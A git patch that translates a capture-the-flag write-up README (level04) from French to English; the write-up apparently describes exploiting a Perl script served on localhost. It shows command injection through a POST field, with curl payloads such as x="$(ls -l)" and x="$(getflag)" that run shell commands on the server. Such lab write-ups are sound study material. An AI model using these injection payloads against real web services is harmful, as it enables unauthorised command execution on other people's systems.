From f24f78ad47f2ff58ed69e2bfd0e65b1052c9ecfa Mon Sep 17 00:00:00 2001 From: Raphael Date: Thu, 29 Jan 2026 12:53:21 +0100 Subject: [PATCH] docs(lvl04): adding the english readme --- rparodi/level04/README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/rparodi/level04/README.md b/rparodi/level04/README.md index cebad1d..6f963f8 100644 --- a/rparodi/level04/README.md +++ b/rparodi/level04/README.md @@ -1,6 +1,6 @@ -Lors de l'arriver sur le level04 je remarque le fichier level04.pl +When arriving on level04 I notice the file level04.pl. -Ce script est en perl et se presente sous la forme +This script is in perl and presents itself in the form: ```perl #!/usr/bin/perl @@ -13,21 +13,21 @@ sub x { } ``` -Nous pouvons donc voir que ce script recupere un argument (ici x), et affiche cet argumements +We can therefore see that this script retrieves an argument (here x), and displays this argument. ```bash curl -d x="Common will just echo" http://127.0.0.1:4747 Common will just echo ``` -Nous pouvons donc afficher ce que nous souhaitons en executant echo. Mais egallement un subshell +We can therefore display what we want by executing echo. But also a subshell. ```bash curl -d x="\$(ls -l)" http://127.0.0.1:4747 total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl ``` -Nous pouvons donc executer les commandes donc testons avec getflag +We can therefore execute commands so let us test with getflag. ```bash curl -d x="\$(getflag)" http://127.0.0.1:4747